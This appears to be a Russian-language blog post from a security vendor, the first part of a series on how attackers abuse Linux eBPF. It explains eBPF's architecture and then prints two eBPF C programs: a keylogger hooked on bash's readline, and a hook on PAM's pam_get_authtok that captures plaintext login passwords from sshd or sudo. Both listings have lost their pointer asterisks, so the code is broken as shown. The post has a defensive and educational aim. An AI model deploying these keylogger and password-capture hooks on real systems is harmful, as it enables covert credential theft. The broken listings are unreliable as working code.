Как стать автором
Поиск
Написать публикацию
Обновить
134.63

eBPF глазами хакера

Уровень сложностиСредний
Время на прочтение9 мин
Количество просмотров445

Гайнуллина Екатерина

Инженер по информационной безопасности, Отдел развития Производственного департамента Security Vision

Введение
Всем привет! На этот раз вас ждет цикл статей на тему «eBPF глазами хакера». В первой части расскажу про то, как eBPF дает злоумышленнику «глаза» в системе – возможность незаметно наблюдать за вводом и событиями, а в следующих разделах рассмотрю, как через eBPF можно не только подслушивать, но и активно вмешиваться в работу системы.

eBPF (extended Berkeley Packet Filter, «расширенный фильтр пакетов Беркли») — это технология, изначально разработанная для расширения возможностей контроля сетевой подсистемы и процессов в ядре Linux. Она быстро привлекла внимание крупных IT-компаний, которые внесли вклад в её развитие. Однако своими уникальными возможностями заинтересовались и злоумышленники: дело в том, что eBPF можно злоупотреблять для сокрытия сетевой активности и процессов, сбора конфиденциальных данных, а также обхода брандмауэров и систем обнаружения – при этом обнаружить такую вредоносную активность крайне сложно. В результате eBPF стал новым инструментом в арсенале продвинутых атак: в последние годы были зафиксированы примеры малвари, использующей eBPF (семейства Boopkit, BPFDoor, Symbiote и др). Для защиты от подобных угроз требуется понимать, как работает eBPF изнутри и какие возможности он даёт атакующему.

Далее будет подробно рассмотрено внутреннее устройство eBPF и его использование «глазами хакера» – то есть, как злоумышленник может применять eBPF для наблюдения за системой, вмешательства в её работу и маскировки своего присутствия. Также обсудим методы обнаружения и противодействия таким атакам.

Архитектура eBPF: программы, карты и верификатор

Модель исполнения. По своей сути eBPF представляет собой набор команд (instruction set architecture), исполняемых внутри ядра Linux в виртуальной машине. eBPF-программа обычно пишется на «ограниченном» C и компилируется в байткод eBPF ограниченного размера и функциональности. Получившийся байткод загружается в ядро через системный вызов bpf() (например, с помощью утилиты bpftool или библиотек вроде libbpf). При загрузке ядро проверяет программу с помощью специального верификатора, а затем может скомпилировать её JIT-компилятором в машинный код для повышения производительности. После успешной загрузки eBPF-программа привязывается к определённой точке в системе (точке трассировки, сетевому интерфейсу, системному вызову и т.д.). Когда в системе происходит событие, связанное с этой точкой, срабатывает код eBPF-программы, имеющий право доступа к контексту события (структурам данных ядра) и к данным из пространства пользователя через безопасные вызовы. Таким образом, eBPF позволяет динамически выполнять в ядре небольшой специальный код, управляемый из пространства пользователя – своего рода «гибрид» между пользовательскими приложениями и модулем ядра.

 

Типы программ и точки крепления. eBPF-программы могут прикрепляться к разным подсистемам ядра в зависимости от задач:

Kprobe / Kretprobe: перехват вызовов функций ядра (вход или выход из функции). Позволяет мониторить или изменять поведение любых внутренних функций ядра по имени.

Uprobe / Uretprobe: перехват вызовов функций в пространстве пользователя (библиотек или исполняемых файлов). Например, можно «подслушать» вызов функции в libc или приложении, не изменяя его код.

Tracepoint: подключение к встроенным точкам трассировки ядра (статически определенным событиям) для отслеживания системных событий (создание процесса, открытие файла, и т.п.).

Сетевые фильтры: перехват пакетов на разных этапах сетевого стека. Сюда относятся классический socket filter (BPF прикрепляется к raw-сокету, аналогично старому фильтру пакетов) и расширенные варианты: XDP (eXpress Data Path) – низкоуровневый перехват входящих пакетов на уровне драйвера NIC, Traffic Control (tc egress/ingress) – фильтрация/изменение пакетов при выходе или входе через сетевой интерфейс на уровне очередей, cgroup-хуки (например, фильтрация сетевых вызовов или доступа к устройствам в пределах cgroup).

LSM-хуки: с версии ядра 5.x eBPF может привязываться к хукам системы безопасности (Linux Security Modules), позволяя внедрять свой код в проверки безопасности (например, открытие файла, доступ к ресурсам). Такие программы могут даже изменять решение, возвращаемое механизмом безопасности, тем самым реализуя скрытие объектов или эмуляцию других политик безопасности.

Другие: eBPF интегрирован и в другие механизмы (например, perf events для профилирования, BPF-таймеры и др.), и список точек крепления постоянно расширяется по мере развития ядра.

Важно отметить, что для загрузки eBPF-программы обычно требуются привилегии суперпользователя (CAP_SYS_ADMIN или специальная CAP_BPF). Ранее в Linux существовала возможность запуска некоторых eBPF программ без привилегий, но начиная с современных версий ядра такую возможность рекомендуется отключать (параметр kernel.unprivileged_bpf_disabled=1).

Карты BPF (BPF maps). Помимо кода, eBPF предоставляет механизм для хранения и обмена данными между программой в ядре и пользовательским пространством – так называемые карты. Карта BPF – это структура данных в ядре (хеш-таблица, массив, счётчик, стек и т.д.), к которой eBPF-программа может обращаться через специальные функции (helper'ы). Пользовательское приложение также может читать и писать в карты через системный вызов bpf(), например, чтобы передавать в eBPF-программу конфигурацию или получать результаты ее работы . Карты позволяют сохранять состояние между вызовами программы и обмениваться информацией: например, одна eBPF-программа может записать в карту обнаруженный подозрительный PID, а другая – прочитать и использовать его для фильтрации. Существуют разные типы карт (массивы, хеш-таблицы, LRU-кеши, кольцевой буфер и др.) под разные задачи. Объекты карт, как и сами eBPF-программы, могут быть зафиксированы (pinned) в специальной виртуальной файловой системе bpffs (/sys/fs/bpf) для длительного хранения и доступа из разных процессов.

Верификация безопасности. Мощные возможности eBPF идут рука об руку с жесткими ограничениями, призванными не допустить нарушения работы ядра. Загружаемый байткод проходит проверку верификатором – это компонент ядра, который анализирует каждую инструкцию программы перед выполнением. Верификатор симулирует выполнение кода, отслеживая значения регистров и типов данных. Он не позволит загрузить программу, если обнаружит потенциально опасное поведение: бесконечные циклы (все циклы должны быть явно ограничены или развернуты в алгоритм с условием), выход за границы массивов, запись по недопустимым адресам памяти, использование неинициализированных переменных, утечку указателей из ядра наружу и многое другое. Например, указатели внутри eBPF имеют специальные типы (на карту, на буфер, на стек и т.д.), и арифметика с указателем разрешена только в пределах допустимого диапазона – иначе загрузка прервется с ошибкой. Также проверяется, что перед чтением данных со стека соответствующая область была проинициализирована (во избежание утечки мусора), и запрещается любая операция, способная привести к нарушению целостности ядра (eBPF-программа не может произвольно вызывать функции ядра, а только строго определенные helper–функции). Благодаря этому, eBPF-программа не может произвольно писать в память ядра или выполнять неподконтрольные действия. Верификатор фактически выступает «сторожем», гарантирующим, что eBPF-код «не сможет действовать злоумышленно». Тем не менее, история знает случаи обхода этих защит: исследователи находили уязвимости в самом верификаторе, позволявшие выполнять недопустимые действия (по состоянию на конец 2024 года известно более 200 уязвимостей, связанных с BPF). Поэтому актуальность своевременного обновления ядра и ограничения доступа к eBPF не менее важны, чем техническая сложность реализации атак.

Разобрав базовые механизмы, перейдем непосредственно к тому, как злоумышленник может применять eBPF «в полях». Рассмотрим три аспекта: наблюдение (шпионаж) за системой, активное вмешательство (манипуляции) и обеспечение скрытности (маскировка) своего вредоносного инструмента.

Часть 1. Наблюдение – невидимый шпион внутри системы

Представим, что злоумышленнику необходимо незаметно наблюдать за действиями пользователя или системы, перехватывая важные события. Технология eBPF даёт ему эту возможность, позволяя внедрять свои динамически загружаемые компоненты прямо в ядро Linux. В прошлом для подобной задачи приходилось писать модуль ядра или патчить приложения, рискуя вызвать kernel panic. Однако теперь хакер может использовать eBPF-программы, чтобы отслеживать системные вызовы, сетевые пакеты или даже функции в пользовательских приложениях – и всё это без загрузки вредоносных модулей.

 

Одним из простых примеров наблюдения может служить кейлоггер на основе eBPF. В Linux команды, вводимые в терминале bash, читаются с помощью функции readline. eBPF позволяет перехватывать вызовы этой функции через uprobes – специальные точки входа для пользовательских программ. Злоумышленник может прикрепить eBPF-программу к функции readline в /bin/bash и получать каждую введённую команду сразу после её ввода пользователем. Ниже приведён упрощённый пример такой eBPF-программы на C:

 

#include <vmlinux.h>

#include <bpf/bpf_helpers.h>

#include <bpf/bpf_tracing.h>

#define MAX_LINE_SIZE 256

// uretprobe: перехват возврата из функции readline() в /bin/bash

SEC("uretprobe//bin/bash:readline")

int on_readline_return(struct pt_regs *ctx) {

const void ret = (const void )PT_REGS_RC(ctx); // получить указатель на возвращаемую строку

char buf[MAX_LINE_SIZE];

if (ret == NULL) {

return 0; // ничего не было прочитано

}

// Считать строку из пространства пользователя по полученному указателю

bpf_probe_read_user_str(buf, sizeof(buf), ret);

// Получить PID процесса и его имя

u32 pid = bpf_get_current_pid_tgid() >> 32;

char comm[16];

bpf_get_current_comm(comm, sizeof(comm));

// Вывести данные в кольцевой буфер трассировки

bpf_printk("Keylogger: PID %d (%s) typed: %s\n", pid, comm, buf);

return 0;

}

 

Эта программа регистрирует uretprobe на функцию readline в процессе bash. Каждый раз, когда bash считывает строку пользователя, наш перехватчик получает управление на выходе из функции и извлекает прочитанную строку (указатель на нее возвращается функцией readline). С помощью bpf_probe_read_user_str содержимое команды копируется из памяти пользователя в буфер buf, после чего через bpf_printk отправляется в отладочный вывод (доступный, например, через dmesg или bpftool perf). Таким образом, любой ввод в терминале фиксируется в ядре и может быть впоследствии собран злоумышленником. Важно отметить, что для такой атаки требуются привилегии (запуск eBPF-программы возможен только от имени root либо через уязвимость повышения привилегий). Предположим, что атакер уже обладает нужными правами – тогда кейлоггер на eBPF работает прозрачно: пользователь и приложения не замечают подмены, а в ядре выполняется “невидимый” шпион.

 

Подобным образом можно перехватывать не только команды shell, но и другие чувствительные данные. Например, чтобы красть пароли при аутентификации, можно перехватить вызов функции из библиотеки PAM, отвечающей за ввод пароля. В реальных атаках уже встречался малварь PamSpy (2023), который при помощи eBPF отслеживал функции PAM и извлекал введенные учетные данные. Проще говоря, при вводе пароля (например, при входе по SSH) вредоносная eBPF-программа перехватывает функцию pam_get_authtok (получение авторизационного токена) и получает введенный пользователем пароль в открытом виде. Ниже показан фрагмент eBPF-программы, иллюстрирующий такой подход (кейлоггер для SSH через перехват PAM):

// uretprobe: перехват возврата из функции pam_get_authtok() в библиотеке PAM

SEC("uretprobe//lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok")

int on_pam_return(struct pt_regs *ctx) {

const char pwd = (const char )PT_REGS_RC(ctx); // получить указатель на пароль

char buf[128];

if (pwd == NULL) {

return 0;

}

bpf_probe_read_user_str(buf, sizeof(buf), pwd); // скопировать пароль из user-space

u32 pid = bpf_get_current_pid_tgid() >> 32;

bpf_printk("PamSpy: PID %d intercepted password: %s\n", pid, buf);

return 0;

}

char _license[] SEC("license") = "GPL";

Когда процесс-аутентификатор (например, sshd или sudo) вызывает pam_get_authtok для получения введенного пароля, наша eBPF-программа перехватывает выход из этой функции и извлекает указатель на строку с паролем. Затем с помощью bpf_probe_read_user_str она читает пароль в буфер ядра и логирует его через bpf_printk. В результате атакер получает каждое введенное пользователем парольное слово. Такой подход работает внутри ядра, поэтому традиционные механизмы защиты, которые следят только за пользовательскими процессами или файловой системой, могут ничего не заметить. eBPF-кейлоггер не создает новых процессов, не открывает файлов и не вызывает подозрительных системных вызовов – он тихо встроен в ядро.

Заключение

Мы рассмотрели, как злоумышленник может применять uprobes для кейлоггинга, следить за действиями пользователя через tracepoints и intercept-функции, и делать всё это без создания подозрительных файлов или процессов. Прозрачность eBPF делает его как опасным, так и сложно обнаружимым. Однако платформа Security Vision SOAR может помочь в защите от подобных атак за счёт автоматизации анализа и реагирования.

Для разработчиков систем защиты и команд blue team важно понимать, что eBPF-программа — это не просто «монитор», а потенциальный компонент вредоносной инфраструктуры, способный жить в ядре. Следовательно, оборона должна начинаться с видимости: знать, какие программы загружены, куда они прикреплены и что делают.

Продолжение следует.

Теги:
Хабы:
+6
Комментарии0

Публикации

Информация

Сайт
www.securityvision.ru
Дата регистрации
Дата основания
2016
Численность
101–200 человек
Местоположение
Россия